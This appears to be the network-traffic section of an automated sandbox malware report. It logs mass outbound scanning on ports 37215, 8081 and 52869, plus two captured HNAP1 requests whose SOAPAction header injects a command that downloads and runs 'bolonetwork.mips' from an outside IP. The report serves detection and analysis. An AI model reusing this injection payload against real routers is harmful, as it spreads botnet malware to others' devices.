Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.195.113.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.6.89.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.159.112.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.18.228.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 61.101.160.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 184.217.81.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.22.237.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.195.0.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.55.170.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.71.221.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.10.17.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.190.129.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.165.83.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.208.108.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.96.101.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.115.181.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 54.46.234.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.13.218.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.59.55.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 200.217.151.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.225.242.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.175.198.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 222.79.13.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.59.30.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.171.41.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.124.76.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 167.96.239.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.171.155.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 35.215.18.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.86.128.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.133.8.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.162.150.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.55.34.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 54.120.8.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.75.65.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 139.86.191.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 86.28.105.133:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 20.191.46.135:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 59.118.248.133:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 102.95.56.173:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 120.161.159.9:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 17.188.164.234:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 37.111.247.22:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 137.17.247.121:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 129.234.53.71:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 32.17.126.48:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 121.82.211.184:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 54.21.245.58:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 138.22.150.174:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 137.23.201.104:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 129.77.207.171:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 105.226.213.209:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 17.117.143.98:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 154.179.195.34:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 150.64.220.17:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 133.97.201.216:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 68.208.130.213:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 115.217.160.85:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 84.32.51.114:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 177.53.185.228:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 36.176.160.146:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 74.144.83.171:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 155.26.159.128:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 153.20.110.114:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 122.46.167.189:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 217.216.218.234:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 139.252.209.56:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 100.189.148.44:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 177.86.253.86:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 103.194.153.208:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 181.58.255.23:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 69.22.88.231:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 185.124.182.75:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 137.235.33.38:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 219.213.237.59:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 108.225.42.112:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 202.126.95.182:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 121.252.7.225:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 68.238.145.132:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 201.190.152.14:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 57.77.208.172:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 114.5.162.119:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 152.61.98.197:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 178.234.160.149:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 178.40.154.210:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 191.6.89.57:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 124.59.19.121:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 85.43.144.215:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 122.203.235.47:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 99.139.175.129:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 37.231.130.247:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 39.150.124.187:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 101.217.104.145:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 198.173.153.52:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 70.83.80.195:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 141.254.162.226:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 216.120.175.81:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 154.220.1.16:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 211.37.100.5:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 131.157.50.161:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 156.35.182.86:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 129.161.226.163:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 50.70.210.210:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 176.189.176.57:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 61.97.111.61:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 186.207.185.80:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 125.38.91.150:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 148.33.173.208:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 60.53.68.28:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 99.53.93.171:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 203.22.137.107:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 218.79.211.50:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 120.24.247.133:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 124.68.36.244:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 42.77.251.81:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 222.53.162.176:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 114.5.77.31:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 1.6.197.112:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 115.133.83.150:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 168.29.16.8:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 90.244.51.71:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 123.113.248.155:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 59.17.181.70:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 143.117.13.173:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 52.138.221.5:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 36.87.55.229:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 37.183.208.1:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 42.72.240.140:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 142.28.169.133:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 136.82.192.39:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 111.95.120.159:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 223.250.77.197:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 37.177.32.112:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 155.142.217.138:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 144.98.215.70:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 202.79.86.181:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 59.87.201.197:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 91.1.117.216:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 161.117.11.153:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 120.232.129.114:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 191.93.43.213:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 52.137.37.38:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 37.184.248.25:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 42.199.22.184:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 82.194.73.169:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 35.104.62.133:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 45.72.63.232:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 60.172.237.222:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 180.168.102.156:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 43.187.84.77:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 157.229.158.93:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 97.119.31.69:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 199.231.47.60:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 155.60.200.183:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 64.163.21.53:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 83.35.207.92:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 2.211.16.69:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 183.124.37.55:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 115.2.148.25:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 151.255.247.73:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 168.60.234.146:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 205.22.200.187:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 156.40.121.110:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 190.225.30.14:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 221.108.209.131:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 118.57.144.139:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 126.213.109.218:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 118.31.82.42:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 110.16.107.79:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 92.154.101.109:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 141.29.146.57:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 182.216.208.70:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 4.100.220.243:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 103.134.146.2:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 80.35.131.56:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 95.198.159.19:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 195.41.191.105:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 157.238.192.85:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 53.60.47.148:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 178.177.156.149:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 109.208.7.182:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 197.91.32.62:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 124.64.97.110:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 69.16.57.56:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 107.175.10.241:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 149.164.34.41:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 97.58.124.0:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 100.33.47.252:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 219.185.143.162:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 163.137.21.21:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 113.166.119.67:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 198.109.49.20:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 54.23.136.73:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 40.17.14.25:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 168.108.1.170:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 204.235.52.91:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 51.149.137.11:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 87.61.165.209:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 207.65.89.76:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 50.135.198.195:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 60.27.15.186:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 187.244.164.153:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 9.80.224.130:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 216.45.186.119:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 115.77.146.7:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 144.25.185.135:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 20.57.22.34:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 195.163.241.55:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 45.242.201.152:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 109.118.236.217:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 76.47.7.99:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 69.103.212.226:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 173.79.90.185:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 106.89.6.76:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 219.217.21.209:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 23.250.134.134:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 96.168.242.10:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 213.191.40.132:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 205.184.32.162:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 113.25.176.151:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 151.18.50.154:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 25.45.255.94:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 103.189.90.59:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 160.3.93.203:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 189.19.147.148:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 218.217.201.5:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 207.68.145.36:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 116.185.85.147:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 120.82.186.82:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 133.112.9.231:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 5.165.130.202:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 103.55.147.65:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 146.75.115.117:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 167.161.118.96:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 204.143.131.82:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 77.196.228.15:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 180.3.114.229:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 94.171.12.188:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 161.122.130.29:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 34.193.29.237:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 44.34.223.198:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 88.222.234.137:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 113.231.23.188:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 17.49.239.125:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 143.23.218.174:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 119.122.30.243:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 160.106.55.221:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 49.245.15.5:8081
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 122.94.200.46:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 162.117.173.204:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 86.30.180.165:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 50.233.235.83:52869
Source: global traffic	TCP traffic: 192.168.2.13:43439 -> 168.195.7.206:8081
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 82.195.250.33:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 24.212.1.78:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 39.92.190.14:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 76.95.10.101:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 35.151.71.195:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 61.214.205.196:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 4.39.133.216:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 205.246.124.159:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 123.82.131.246:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 58.45.66.216:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 219.10.237.79:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 154.237.61.130:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 145.19.26.68:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 51.66.153.104:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 174.160.204.212:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 32.129.43.121:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 8.100.203.97:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 19.225.121.130:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 63.170.166.112:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 162.102.176.197:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 176.35.158.53:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 168.220.14.134:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 220.168.165.99:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 169.227.213.55:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 167.223.2.219:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 31.43.8.121:52869
Source: global traffic	TCP traffic: 192.168.2.13:43695 -> 165.139.105.73:52869

Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
